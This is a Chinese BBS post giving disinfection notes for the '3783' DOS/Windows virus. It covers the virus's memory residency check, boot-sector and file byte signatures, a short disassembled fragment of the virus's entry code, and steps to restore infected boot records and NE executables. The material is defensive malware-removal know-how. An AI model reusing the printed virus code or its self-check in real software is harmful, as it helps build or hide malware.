F6C8:0F90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0FA0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0FB0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0FC0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0FD0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0FE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
F6C8:0FF0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ..........
......
杀毒要点:

1.内存中病毒的检测

    检测内存中的病毒可以用病毒自己的检测方法,设置 AX=187FH,BX=4453H 调
用INT 21H,如果返回 BX=87A1H 表示内存中已有 3783 病毒,由于该病毒有很多
欺骗手段,要检测引导区或文件上的病毒必须先用干净系统盘重新启动。

2.引导区中病毒的检测和清除

    用磁盘编辑工具观察引导区,如果发现偏移 003EH 的内容为 FA 33 DB 8E D3
 BC 00 7C 8E C4 表示引导区中已有病毒,对于硬盘,可用 CX=000DH,DX=0080H
,INT 13H  读出原引导记录,对于软盘,可用 CX=5009H,DX=0000H,INT 13H 读
出原引导记录, 再写入引导区就可以清除病毒,清除硬盘引导区的 3783 病毒也
可以简单地用 FDISK /MBR 来完成。

3.可执行文件中病毒的检测和清除

    3783 病毒在文件中保存了原文件的文件头,位置是病毒开始后偏移第
0E87H 处算起的 40H 字节,由于 3783 病毒代码不加密,所以检测和清除相对比
较简单,对于 DOS 文件,可以用PCTOOLS 等软件查找字符串 0E 1F E8 00 00
5E 83 EE 05 56 06 B8 7F 18,或用DEBUG 反汇编文件的前几句,如果发现字符串
或发现以下指令:
XXXX:0100   E9YYYY    JMP     YYYY        ;.COM 文件的第一句
            ...
XXXX:YYYY   0E        PUSH     CS         ;.EXE 文件的第一句
            1F         POP     DS
            E80000     CALL    ZZZZ
XXXX:ZZZZ   5E        POP      SI
            83EE05     SUB     SI,+05
            56         PUSH    SI
            06         PUSH    ES
            B87F18     MOV     AX,187F
            BB5344     MOV     BX,4453
            CD21       INT     21       (DOS)
            81FBA187  CMP      BX,87A1
就可以确认文件已被 3783 病毒传染,手工消毒可以用以下办法:先记下找到字符
串的位置,再将这个位置加上 0E87H,( DEBUG 中将地址 YYYY 加上 0E87H) 就是
原文件头 40H 字节保存的地方,将这 40H字节写回文件头,再从找到字符串的地
方将文件截断即完成消毒。
    对于WINDOWS文件,由于病毒对文件修改较多,且数据结构复杂,一般不用手
工消毒,在没有消毒程序的情况下,建议用以下办法:找一个压缩软件如 ARJ、
LHA、RAR 等, 将文件改名为其他文件名如 A.EXE,再运行一个带毒文件使内存中
驻留病毒,再将要消毒的文件打包,由于病毒执行了欺骗功能,所以由压缩软件读
出并压进文件包的文件都是无毒的,用干净系统盘启动后,解压缩出来的文件就是
无毒的了。在磁盘空间足够的情况下,也可以用这种方法全盘压缩,再全盘解压缩
来消除全部病毒。编程自动消毒的步骤和算法如下:
    ⑴  判断文件头 0018H 大于等于 40H 则继续 (表示有 "NE" 文件头)
    ⑵  从文件头 003CH 取得偏移量读出 40H 字节,判断前 2 字节为 "NE" 则
继续
    ⑶  从 "NE" 报头中取相关数据计算入口段地址表记录偏移量,算法为:
        偏移量="NE"报头偏移量+["NE"报头22H]+(["NE"报头16H]-1)*8
    ⑷  读出 8 字节入口段的段地址表记录
    ⑸  如果本记录后 6 字节为 7D 0E 80 01 7D 0E 表示有 3783 病毒
    ⑹  病毒起始位置(即原文件长)=[段地址表记录00H]*( 1 SHL ["NE"报头
32H] )
    ⑺  恢复原入口段地址表记录号:病毒中第 0E83H => "NE"报头16H
        恢复原入口 IP:病毒中第 0E85H => "NE"报头14H
        恢复原段地址表记录数:"NE"报头 1CH 减 1
    ⑻  将恢复的 "NE" 报头写回,将文件从病毒开始处截断
到此消毒已经完成。在消毒中省略了将 "NE"可执行报头及段地址表后移 8 字节的
步骤,这并不影响文件的执行,如果一定要将文件完全复原,还要加上以下部分:

    ⑼  将 "NE"报头 04H、24H、26H、28H、2AH 处的字及文件头 3CH 处的双字
减 8
    ⑽  将 "NE"报头开始到段地址表结束为止的数据后移 8 字节
        将文件头 3CH 处的新数据写回






文章出处:第八军团
文章作者:JunTuan

--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.127]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店